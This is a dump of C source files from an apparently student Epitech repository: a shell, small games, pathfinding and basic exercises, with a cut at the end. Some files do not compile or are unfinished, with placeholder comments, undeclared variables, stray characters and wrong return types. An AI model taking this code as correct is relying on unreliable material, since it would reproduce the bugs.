"b4c240b94b4f3aebfc71c6d694f40ead119b4540", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1654, "license_type": "no_license", "max_line_length": 76, "num_lines": 66, "path": "/tek1/Advanced/PSU_42sh_2019/src/core/command_check.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** command_check\n** File description:\n** command_check\n*/\n\n#include \"shell.h\"\n#include <sys/types.h>\n#include <dirent.h>\n#include <unistd.h>\n\nint check_folder(char *folder_path, char *binary)\n{\n DIR *dir_stream = opendir(folder_path);\n struct dirent *file_infos = readdir(dir_stream);\n\n while (file_infos != 0) {\n if (my_strcmp(file_infos->d_name, binary) == 0) {\n closedir(dir_stream);\n return 0;\n }\n file_infos = readdir(dir_stream);\n }\n return 1;\n}\n\nchar *check_existence(dictionary_t *env, char *binary_name)\n{\n char *path = dict_get(env, \"PATH\");\n char **parsed_path = parse_path(path);\n int binary_exist = 1;\n int line = 0;\n\n while (parsed_path[line] != 0) {\n binary_exist = check_folder(parsed_path[line], binary_name);\n if (binary_exist == 0) return parsed_path[line];\n line++;\n }\n binary_exist = check_folder(dict_get(env, \"PWD\"), binary_name);\n if (binary_exist == 0) return dict_get(env, \"PWD\");\n return 0;\n}\n\nint check_right(char *binary_path, char *binary_name)\n{\n int right;\n\n binary_path = my_strconcat(binary_path, my_strconcat(\"/\", binary_name));\n right = access(binary_path, X_OK);\n return right;\n}\n\nint check_command(int argc, char **argv, dictionary_t *env)\n{\n char *binary_name = /*Entrer le nom du binaire à rechercher ici*/;\n char *bin_folder = check_existence(env, binary_name);\n int right;\n\n if (bin_folder != 0) right = check_right(bin_folder, binary_name);\n else return 1;\n if (right == 0) {\n /*Continuer le code ici*/\n } else return 2;\n return 0;\n}" }, { "alpha_fraction": 0.5334312915802002, "alphanum_fraction": 0.5547391772270203, "avg_line_length": 24.22222137451172, "blob_id": "5448020467a85277738a58abb8cb574788bba982", "content_id": "c031e99d341ddbfbd28e75d41c93da7740c49e26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1361, "license_type": "no_license", "max_line_length": 77, "num_lines": 54, "path": "/tek1/Game/MUL_my_rpg_2019/src/fight/pve2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** combat.c\n*/\n\n#include \"rpg.h\"\n\nint p_spell(int n, combat_stats_t *enemy_stats, combat_stats_t *player_stats)\n{\n if (n == 1)\n return 80;\n if (n == 2) {\n enemy_stats->defense *= 0.9;\n return 50;\n }\n if (n == 3) {\n player_stats->defense += 5;\n return 20;\n }\n}\n\nvoid hurt(combat_stats_t *who, int damage)\n{\n if (who->armor > 0.0) {\n who->armor -= damage;\n if (who->armor < 0)\n who->health += who->armor;\n }\n else if (who->health > 0.0)\n who->health -= damage;\n}\n\nint end_fight(combat_stats_t player_stats, dialogue_t **dial,\n dictionary_t **gamedata, dictionary_t **entities)\n{\n static int first_time = 1;\n quest_t *quest = dict_get(*gamedata, \"quest\");\n entity_t *player = dict_get(*entities, \"player\");\n\n if (player_stats.health <= 0 && !*dial && first_time)\n *dial = import_dialogue(\"breton_win_fight.dial\");\n else if (player_stats.health > 0 && !*dial && first_time)\n *dial = import_dialogue(\"player_win_fight.dial\");\n if (*dial == 0) {\n quest_progress(quest, \"QUEST_KILL\", \"enemy_breton\", 1);\n if (player)\n player->show = 1;\n import_map(\"bde.map\", entities, gamedata);\n }\n first_time = 0;\n return 2;\n}" }, { "alpha_fraction": 0.5558852553367615, "alphanum_fraction": 0.5736894011497498, "avg_line_length": 21, "blob_id": "f366a760404a44d7a331096cdf49063ee73e6f2b", "content_id": "c0dda6dd8a4fe82f5fd907e75c9d9caf1d9e3737", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1011, "license_type": "no_license", "max_line_length": 76, "num_lines": 46, "path": "/tek1/Advanced/PSU_42sh_2019/src/extra/get_uid.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_minishell1_2019\n** File description:\n** get_uid\n*/\n\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include \"shell.h\"\n\nint check_match(char *username, char **user_props, char **users)\n{\n int uid;\n\n if (!my_strcmp(user_props[0], username)) {\n uid = my_getnbr(user_props[2]);\n free_split(user_props);\n free_split(users);\n return uid;\n }\n else return -1;\n}\n\nint get_uid(char *username)\n{\n char **users;\n char **user_props;\n char *passwd = read_file(\"/etc/passwd\");\n int return_value;\n\n if (!username || !passwd) return -1;\n users = my_strsplit(passwd, '\\n');\n free(passwd);\n users[my_arrlen(users) - 1] = 0;\n for (int i = 0; users[i]; i++) {\n user_props = my_strsplit(users[i], ':');\n if ((return_value = check_match(username, user_props, users)) != -1)\n return return_value;\n free_split(user_props);\n }\n free_split(users);\n return -1;\n}" }, { "alpha_fraction": 0.5835962295532227, "alphanum_fraction": 0.608832836151123, "avg_line_length": 18.875, "blob_id": "7ece0c9d5c55202235c87764a79c03fd14cfb068", "content_id": "8c687c8319d256cb99ffa1239d4e266203e40827", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 317, "license_type": "no_license", "max_line_length": 79, "num_lines": 16, "path": "/tek1/Advanced/PSU_tetris_2019/src/utils.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_tetris_2019\n** File description:\n** utils.c\n*/\n\n#include \"my.h\"\n#include \"tetris.h\"\n\nvoid helping()\n{\n my_putstr(\"Usage: ./tetris [options]\\nOptions:\\n --help\\t\\t Display \");\n my_putstr(\"this help\\n -L --level={num} Start Tetris at level num (def: \");\n my_putstr(\"\");\n}" }, { "alpha_fraction": 0.6418786644935608, "alphanum_fraction": 0.6634050607681274, "avg_line_length": 24.600000381469727, "blob_id": "4028bb5b999e3a8ad10667c3df832bd1773eb99a", "content_id": "f8513ba482beb30bc2201cc9957f19bcb33b3de1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 511, "license_type": "no_license", "max_line_length": 64, "num_lines": 20, "path": "/tek1/Advanced/PSU_42sh_2019/src/builtins/dict.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_42sh_2019\n** File description:\n** dict\n*/\n\n#include \"shell.h\"\n\ndictionary_t *builtin_init(void)\n{\n dictionary_t *builtins = dict_add(0, \"cd\", builtin_cd);\n\n builtins = dict_add(builtins, \"echo\", builtin_echo);\n builtins = dict_add(builtins, \"exit\", builtin_exit);\n builtins = dict_add(builtins, \"env\", builtin_env);\n builtins = dict_add(builtins, \"setenv\", builtin_setenv);\n builtins = dict_add(builtins, \"unsetenv\", builtin_unsetenv);\n return builtins;\n}" }, { "alpha_fraction": 0.4279569983482361, "alphanum_fraction": 0.4566308259963989, "avg_line_length": 17.355262756347656, "blob_id": "8304165e116d9f76861401273b268417bbbc2898", "content_id": "5cdb4e94eb204db8b41681347959dc470f100577", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1395, "license_type": "no_license", "max_line_length": 72, "num_lines": 76, "path": "/tek1/Piscine/CPool_finalstumper_2019/finalstumper.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** finalstumper\n** File description:\n** by clement fleur and paul moccelin\n*/\n\n#include <unistd.h>\n#include \"rush3.h\"\n#include <stdio.h>\n\nvoid cas2(char *buff, int x, int y)\n{\n if (x == 1 | y == 1) {\n for (int i = 1; i < 4 ; i++) {\n my_putstr(\"[rush1-\");\n my_put_nbr(i + 2);\n my_putchar(']');\n my_putchar(' ');\n my_put_nbr(x);\n my_putchar(' ');\n my_put_nbr(y);\n }\n }\n}\n\nint who_rush(char *buff, int x, int y)\n{\n\tchar *str;\n\tif (buff[0] == 'o') {\n\t\tmy_putstr(\"[rush1-1]\");\n\t\tmy_putchar (' ');\n\t\tmy_put_nbr(x);\n \t\tmy_putchar (' ');\n\t\tmy_put_nbr(y);\n\t}\n\telse if (buff[0] == '/' || buff[0] == '*') {\n\t\tmy_putstr(\"[rush1-2]\");\n\t\tmy_putchar (' ');\n\t\tmy_put_nbr(x);\n \t\tmy_putchar (' ');\n \t\tmy_put_nbr(y);\n\t}\n\telse if (buff[0] == 'B') \n cas2(buff, x, y);\n else\n cas1(buff, x, y);\n}\n\t\nvoid rush3(char *buff, int len)\n{\n int x = 0;\n int y = len;\n\n x = my_strlen(buff);\n y = my_strlen2(buff);\n who_rush(buff, x, y);\n\n}\n\nint main()\n{\n int BUFFER_SIZE = 10000;\n char buff[BUFFER_SIZE + 1];\n int offset = 0;\n int len;\n\n while ((len = read(0 , buff + offset , BUFFER_SIZE - offset)) > 0) {\n offset = offset + len;\n }\n buff[offset] = '\\0';\n if (len < 0)\n return (84);\n rush3(buff, offset);\n return 0;\n}\n" }, { "alpha_fraction": 0.3919753134250641, "alphanum_fraction": 0.42592594027519226, "avg_line_length": 13.727272987365723, "blob_id": "1e611ecde11bb4abeb9c883826064fa36b584f39", "content_id": "0055ba8a25ef3cec539a895decde24547356ca05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 324, "license_type": "no_license", "max_line_length": 38, "num_lines": 22, "path": "/tek1/Piscine/CPool_Day05_2019/my_compute_power_it.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_power_it\n** File description:\n** task03\n*/\n\nint my_compute_power_it(int nb, int p)\n{\n int nbr = nb;\n\n if (p == 0)\n return (1);\n if (p > 0) {\n while (p > 1) {\n nbr = nbr * nb;\n p--;\n }\n return (nbr);\n }\n return (0);\n}\n" }, { "alpha_fraction": 0.49459877610206604, "alphanum_fraction": 0.5100308656692505, "avg_line_length": 20.966102600097656, "blob_id": "94ef568c1769f5b23c8b47d1cd7e82d1a2ec929b", "content_id": "b284da28ab553f009ebedd9fe9b96a314e3b403c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1296, "license_type": "no_license", "max_line_length": 80, "num_lines": 59, "path": "/tek1/Piscine/CPool_Day09_2019/lib/my/my_str_to_word_array.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "./*\n** EPITECH PROJECT, 2019\n** my_str_to_word_array\n** File description:\n** my_str_to_word_array\n*/\n\nstruct counter {\n int i;\n int j;\n};\n\nint check(char c, char a, char z)\n{\n return (c >= a && c <= z);\n}\n\nvoid add_string_to_arr(char *str, char **arr, int *start, struct counter *count)\n{\n str[count->i] = '\\0';\n arr[count->j] = str + *start;\n (count->j)++;\n *start = count->i + 1;\n}\n\nvoid check_size(char *str, struct counter count, int *size)\n{\n while (str[count])\n {\n if (!check(str[count], 'a', 'z') && !check(str[count], 'A', 'Z')\n && !check(str[count], '0', '9'))\n (*size)++;\n count++;\n }\n}\n\nchar **my_str_to_word_array(char const *str)\n{\n char *new_str = my_strdup(str);\n int size = 0;\n int start = 0;\n char **arr;\n struct counter count;\n count = 0;\n count2 = 0;\n\n calculate_array_size(new_str, count, &size);\n count = 0;\n arr = malloc(sizeof(char *) * size + 1);\n while (new_str[count]) {\n if (!check(str[count], 'a', 'z') && !check(str[count], 'A', 'Z')\n && !check(str[count], '0', '9'))\n add_string_to_arr(new_str, arr, &start, &count);\n count++;\n }\n add_string_to_arr(new_str, arr, &start, &count);\n arr[count2 + 1] = 0;\n return (arr);\n}\n" }, { "alpha_fraction": 0.40575915575027466, "alphanum_fraction": 0.4397905766963959, "avg_line_length": 14.279999732971191, "blob_id": "ef59be2b0b4b5b2f3eb3c6dba15c81e895e64e4e", "content_id": "c3d5c1f0708347e034ae0e62c344877038d443ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 382, "license_type": "no_license", "max_line_length": 34, "num_lines": 25, "path": "/tek1/Piscine/CPool_Day05_2019/my_compute_square_root.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_square_root\n** File description:\n** task05\n*/\n\nint my_compute_square_root(int nb)\n{\n int sqrt = 0;\n\n if ((nb == 0) || (nb < 0)) {\n return 0;\n }\n if (nb == 1) {\n return 1;\n }\n while (sqrt * sqrt != nb) {\n sqrt++;\n if (sqrt * sqrt > nb) {\n return 0;\n }\n }\n return sqrt;\n}\n" }, { "alpha_fraction": 0.45254236459732056, "alphanum_fraction": 0.46949151158332825, "avg_line_length": 19.379310607910156, "blob_id": "1c03d7ed628c491e19374c2e05559ee821b96b02", "content_id": "905739bad4796f7bb7856979b6fbabe6fc9c009c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 590, "license_type": "no_license", "max_line_length": 58, "num_lines": 29, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_strstr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strstr\n** File description:\n** Finds first occurence of a string inside another string\n*/\n\nchar *my_strstr(char *str, char const *to_find)\n{\n int i = 0;\n int j = 0;\n char *starting = 0;\n\n while (str[i]) {\n if (!to_find[j]) {\n return (starting);\n } else if (str[i] == to_find[j]) {\n starting = starting ? starting : str + i;\n j++;\n } else {\n starting = 0;\n j = 0;\n }\n i++;\n }\n if (starting && to_find[j])\n return (0);\n return (starting);\n}" }, { "alpha_fraction": 0.5233050584793091, "alphanum_fraction": 0.5656779408454895, "avg_line_length": 17.920000076293945, "blob_id": "ef511aefd5ab764768aebadeddca389a7277a1a1", "content_id": "e8be136c1a0cb9b6b8aee86282f17680b19ac47e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 472, "license_type": "no_license", "max_line_length": 45, "num_lines": 25, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_strncmp.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_strncmp\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nint my_strncmp(char *s1, char *s2, int n)\n{\n char *new_s1 = my_strdup(s1);\n char *new_s2 = my_strdup(s2);\n int return_value;\n\n if (my_strlen(new_s1) >= n)\n new_s1[n] = 0;\n if (my_strlen(new_s2) >= n)\n new_s2[n] = 0;\n return_value = my_strcmp(new_s1, new_s2);\n free(new_s1);\n free(new_s2);\n return return_value;\n}" }, { "alpha_fraction": 0.38037633895874023, "alphanum_fraction": 0.4220430254936218, "avg_line_length": 16.325580596923828, "blob_id": "1ed61d2839ff1467b08b7e194c7f0c260d605df3", "content_id": "41287fe379151671548c97713d2514db07028235", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 744, "license_type": "no_license", "max_line_length": 35, "num_lines": 43, "path": "/tek1/Advanced/PSU_navy_2019/lib/hexa_base.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** hexa_base.c\n*/\n\n#include \"navy.h\"\n\nvoid exception_hexa(unsigned int i)\n{\n switch (i){\n case 10:\n my_putchar('a');\n break;\n case 11:\n my_putchar('b');\n break;\n case 12:\n my_putchar('c');\n break;\n case 13:\n my_putchar('d');\n break;\n case 14:\n my_putchar('e');\n break;\n case 15:\n my_putchar('f');\n break;\n }\n}\n\nvoid base_hexa(unsigned int i)\n{\n if (i == 0)\n return;\n base_hexa(i / 16);\n if ((i % 16) >= 10)\n exception_hexa(i % 16);\n else\n my_put_nbr(i % 16);\n}" }, { "alpha_fraction": 0.5789860486984253, "alphanum_fraction": 0.5885378122329712, "avg_line_length": 27.978723526000977, "blob_id": "d89b05c0125a1fc2c018cd9b9b80b16412014d51", "content_id": "2d25a00b5a646e2861a7871645b0d670baeeb5f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1361, "license_type": "no_license", "max_line_length": 79, "num_lines": 47, "path": "/tek1/Game/MUL_my_defender_2019/src/dialogue/entity_dialogue.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** entity_dialogue\n*/\n\n#include \"rpg.h\"\n#include <stdlib.h>\n\nlinked_list_t *dialogue_load_conditions(json_object_t *obj)\n{\n linked_list_t *conditions = 0;\n dialogue_condition_t *cond;\n char *str;\n double *value;\n\n for (json_object_t *i = obj; i; i = i->next) {\n cond = malloc(sizeof(dialogue_condition_t));\n cond->type = my_strdup(dict_get(i->data, \"type\"));\n str = dict_get(i->data, \"quest\");\n cond->quest = str ? my_strdup(str) : 0;\n str = dict_get(i->data, \"condition\");\n cond->condition = str ? my_strdup(str) : 0;\n value = dict_get(i->data, \"value\");\n cond->value = value ? *value : 0;\n conditions = ll_append(conditions, cond);\n }\n return conditions;\n}\n\ndictionary_t *entity_load_dialogues(char *name, json_object_t *obj)\n{\n dictionary_t *dialogues = 0;\n linked_list_t *conditions;\n dialogue_t *dial;\n\n for (json_object_t *i = obj; i; i = i->next) {\n conditions = dialogue_load_conditions(dict_get(i->data, \"conditions\"));\n dial = import_dialogue(dict_get(i->data, \"file\"));\n dial->conditions = conditions;\n dial->npc = my_strdup(name);\n dialogues = dict_add(dialogues, my_strdup(dict_get(i->data, \"file\")),\n dial);\n }\n return dialogues;\n}" }, { "alpha_fraction": 0.4778200387954712, "alphanum_fraction": 0.49809885025024414, "avg_line_length": 19.256410598754883, "blob_id": "90b4e8c1cbaa7103cd4cfaebb29e201001205d7c", "content_id": "1e870a7f44e45f92c5090a6a618503dd6cb04ad8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 789, "license_type": "no_license", "max_line_length": 53, "num_lines": 39, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_strsplit.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strsplit\n** File description:\n** my_strsplit\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nchar **my_strsplit(char *str, char c)\n{\n int last_match = -1;\n int count = 0;\n char **result;\n char *new_str = my_strdup(str);\n\n for (int i = 0; new_str[i]; i++)\n if (new_str[i] == c) count++;\n result = malloc(sizeof(char *) * (count + 2));\n count = 0;\n for (int i = 0; new_str[i]; i++) {\n if (new_str[i] == c) {\n new_str[i] = '\\0';\n result[count] = new_str + last_match + 1;\n last_match = i;\n count++;\n }\n }\n result[count] = new_str + last_match + 1;\n result[count + 1] = 0;\n return result;\n}\n\nvoid free_split(char **split)\n{\n free(split[0]);\n free(split);\n}" }, { "alpha_fraction": 0.5456110239028931, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 20.55555534362793, "blob_id": "6723807fc25318ac3ee84ce86a8bb74e92fe8b7f", "content_id": "8f0f6fd51787b6f7f79c9929b9b64b144277a990", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 581, "license_type": "no_license", "max_line_length": 77, "num_lines": 27, "path": "/tek1/Advanced/PSU_my_sokoban_2019/check.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** check.c\n*/\n\n#include <stdio.h>\n#include \"my.h\"\n\nvoid help(void)\n{\n my_putstr(\"USAGE\\n ./my_sokoban map\\n\");\n my_putstr(\"DESCRIPTION\\n map file representing the warehouse map,\");\n my_putstr(\" containing '#' for walls,\\n\\t 'P' for the player, 'X' \");\n my_putstr(\"for boxes and '0' for storage locations.\");\n}\n\nvoid check_error(int ac, char **argv)\n{\n if (ac == 1)\n return 84;\n else if (my_strcmp(argv[1], \"-h\") == 1 && ac == 2)\n help();\n else\n return ac;\n}" }, { "alpha_fraction": 0.3273615539073944, "alphanum_fraction": 0.42019543051719666, "avg_line_length": 16.542856216430664, "blob_id": "a6f83e8a7a690e042df92c4611bd010dedf7170d", "content_id": "13b42eeeff43dd1fea361063c73a9a2b0ff02daf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 614, "license_type": "no_license", "max_line_length": 40, "num_lines": 35, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/my_putnbr.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d01_2019\n** File description:\n** main.c\n*/\n\n#include \"phoenix.h\"\n#include <stdlib.h>\n#include <unistd.h>\n\nint my_putnbr(int nb)\n{\n if (nb == -2147483648) {\n write(1, \"-2147483648\", 11);\n return 84;\n }\n if (nb < 0) {\n write(1, \"-\", 1);\n nb = nb * -1;\n if (nb > 10)\n my_putnbr((nb / 10));\n my_putchar((nb % 10) + '0');\n }\n else{\n if (nb >= 10)\n my_putnbr(nb / 10);\n my_putchar((nb % 10) + '0');\n\n if (nb <= 10) {\n my_putchar(nb % 10);\n\n }\n }\n}\n" }, { "alpha_fraction": 0.39057657122612, "alphanum_fraction": 0.41537508368492126, "avg_line_length": 18.670732498168945, "blob_id": "2eb765940e8bb010dce0ff0550cfd7b9bf4ff93c", "content_id": "9ffb3caa3e3a0810a40a0c9e9c314c99b32b239e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1613, "license_type": "no_license", "max_line_length": 68, "num_lines": 82, "path": "/tek1/Advanced/PSU_tetris_2019/lib/my/create_tab.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** char * to char ** by clément Fleur\n*/\n\n#include <stdlib.h>\n#include \"my.h\"\n#include \"match.h\"\n#include <stdio.h>\n\nchar **writegame(match_t *match, char **str)\n{\n int i = 0;\n int l = 1;\n int c = match->line - 1;\n int count = 0;\n\n match->pipe = 0;\n while (i < match->line) {\n while (count < i + l) {\n c++;\n str[l][c] = '|';\n match->pipe++;\n count++;\n }\n l++;\n c = c - (2 * (l-1));\n count = 0;\n i++;\n }\n return str;\n}\n\nchar **writemap(match_t *match, char **str)\n{\n int i = 1;\n int p = 0;\n\n while (i < match->line + 1) {\n p = 1;\n while (p < match->line * 2) {\n str[i][p] = ' ';\n p++;\n }\n str[i][0] = '*';\n str[i][match->line * 2] = '*';\n i++;\n }\n i = 0;\n writegame(match, str);\n while (i < match->line + 2) {\n my_putstr(str[i]);\n my_putchar('\\n');\n i++;\n }\n return str;\n}\n\nchar **my_strtodouble(match_t *match)\n{\n char **new_str;\n int i = 0;\n\n new_str = malloc(sizeof(*new_str) * (match->line * 2 + 1));\n if (new_str == NULL)\n my_putstr(\"error\");\n while (i < (match->line + 2)) {\n new_str[i] = malloc(sizeof(char) * ((match->line * 2) + 1));\n new_str[i][match->line * 2 + 1] = 0;\n i = i + 1;\n }\n i = 0;\n while (i < match->line * 2 + 1) {\n new_str[0][i] = '*';\n new_str[match->line + 1][i] = '*';\n i++;\n }\n writemap(match, new_str);\n return new_str;\n} " }, { "alpha_fraction": 0.5825688242912292, "alphanum_fraction": 0.6009174585342407, "avg_line_length": 10.526315689086914, "blob_id": "6ea65df2ffe7965f6d2c630b8fdbb1ba8f51152d", "content_id": "64690fd9a8eef4011801e8d46a07154a16d1f110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 218, "license_type": "no_license", "max_line_length": 30, "num_lines": 19, "path": "/tek1/Advanced/PSU_my_printf_2019/lib/my/struct.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** struct\n** File description:\n** \n*/\n\n#ifndef PRINT_H_\n#define PRINT_H_\n\nstruct printf_a\n{\n char *flag;\n void (*fct) (void*);\n};\n\ntypedef struct printf_a print;\n\n#endif /* PRINT_H_ */" }, { "alpha_fraction": 0.447761207818985, "alphanum_fraction": 0.4776119291782379, "avg_line_length": 16.322580337524414, "blob_id": "87b1dbe708bdcecb59a8098dfe9918c9e28ed51f", "content_id": "bf7b9d51adf7c636d575ca683a2ff8cb485d5721", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 536, "license_type": "no_license", "max_line_length": 36, "num_lines": 31, "path": "/tek1/Advanced/PSU_my_sokoban_2019/check_player.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** fin position of the player\n*/\n\n#include <sys/stat.h>\n#include \"pos.h\"\n#include \"ncurses.h\"\n#include \"my.h\"\n\nvoid pos_player(char *path)\n{\n int i = 0;\n int x = 0;\n player_pos_t player = {0};\n\n mvprintw(0, 0, path);\n while (path[i] != 'P') {\n if (path[i] == '\\n') {\n player.max = x;\n x = 0;\n player.y = player.y + 1;\n }\n i++;\n x++;\n }\n player.x = x - 1;\n start(&player, path);\n}" }, { "alpha_fraction": 0.5468364953994751, "alphanum_fraction": 0.5583401918411255, "avg_line_length": 26.35955047607422, "blob_id": "0971bf928167e28e07257e5bb6c2330533c03eca", "content_id": "e0cd0f41f04c9d8efbdb7aecbad5c66582aeb4ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2434, "license_type": "no_license", "max_line_length": 79, "num_lines": 89, "path": "/tek1/Functionnal/CPE_lemin_2019/src/pathfinding.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** CPE_lemin_2019\n** File description:\n** pathfinding\n*/\n\n#include \"lemin.h\"\n\nvoid create_ants(lemin_data_t *data)\n{\n ant_t *ant;\n\n for (int i = 1; i <= data->ants_nb; i++) {\n ant = malloc(sizeof(ant_t));\n ant->nb = i;\n ant->current_room = data->start_room;\n ant->previous_room = 0;\n data->ants = ll_append(data->ants, ant);\n }\n}\n\nchar *tunnel_get_end(tunnel_t *tunnel, char *current_room)\n{\n room_t *room;\n\n if (my_strcmp(tunnel->room1->name, current_room) &&\n my_strcmp(tunnel->room2->name, current_room))\n return 0;\n room = !my_strcmp(tunnel->room1->name, current_room) ? tunnel->room2 :\n tunnel->room1;\n return room->name;\n}\n\nint is_ant_in_room(linked_list_t *ants, char *room)\n{\n ant_t *ant;\n\n for (linked_list_t *i = ants; i; i = i->next) {\n ant = i->data;\n if (!my_strcmp(ant->current_room, room))\n return 1;\n }\n return 0;\n}\n\npath_t get_shortest_path(char *current_room, char *previous_room,\n lemin_data_t *data)\n{\n char *room_name;\n path_t path;\n path_t shortest_path = {0, -1};\n\n for (linked_list_t *i = data->tunnels; i; i = i->next) {\n room_name = tunnel_get_end(i->data, current_room);\n if (!room_name || (previous_room &&\n !my_strcmp(room_name, previous_room)) || is_ant_in_room(data->ants,\n room_name)) continue;\n if (!my_strcmp(data->end_room, room_name)) {\n shortest_path.room = room_name;\n shortest_path.steps = 0;\n break;\n }\n path = get_shortest_path(room_name, current_room, data);\n if (shortest_path.steps == -1 || path.steps < shortest_path.steps) {\n shortest_path.steps = path.steps;\n shortest_path.room = room_name;\n }\n }\n shortest_path.steps += 1;\n return shortest_path;\n}\n\nint next_room(int iter_nb, ant_t *ant, lemin_data_t *data)\n{\n path_t path = get_shortest_path(ant->current_room, ant->previous_room,\n data);\n\n if (!path.room && !my_strcmp(ant->current_room, data->start_room) &&\n ant->nb == 1) {\n my_printf(\"ERROR: no path from start to end\\n\");\n return 0;\n } else if (!path.room)\n return -1;\n ant->previous_room = ant->current_room;\n ant->current_room = path.room;\n my_printf(\"%sP%d-%s\", iter_nb == 0 ? \"\" : \" \", ant->nb, ant->current_room);\n return 1;\n}" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5636363625526428, "avg_line_length": 12.800000190734863, "blob_id": "990962c42d9323af4f479765e234f0500faa7f88", "content_id": "b36e4fc9218ca385a23300e91227a62e80cb3c1a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 275, "license_type": "no_license", "max_line_length": 34, "num_lines": 20, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/linked/dict/dict_len.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** Epitech\n** File description:\n** dict_len\n*/\n\n#include \"linked.h\"\n\nint dict_len(dictionary_t *dict)\n{\n dictionary_t *iterator = dict;\n int i = 0;\n\n while (iterator) {\n i++;\n iterator = iterator->next;\n }\n return i;\n}" }, { "alpha_fraction": 0.65625, "alphanum_fraction": 0.668749988079071, "avg_line_length": 14.285714149475098, "blob_id": "039e0a411794c8eb29bf3f74991e8cd7586a8f0b", "content_id": "ffa363bcc841df8a4d7015647c9567dfa8d86d32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 320, "license_type": "no_license", "max_line_length": 43, "num_lines": 21, "path": "/tek1/Game/MUL_my_hunter_20192/include/animation.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2017\n** my_hunter\n** File description:\n** animation functions (header file)\n*/\n\n# include \"hunter.h\"\n\n# 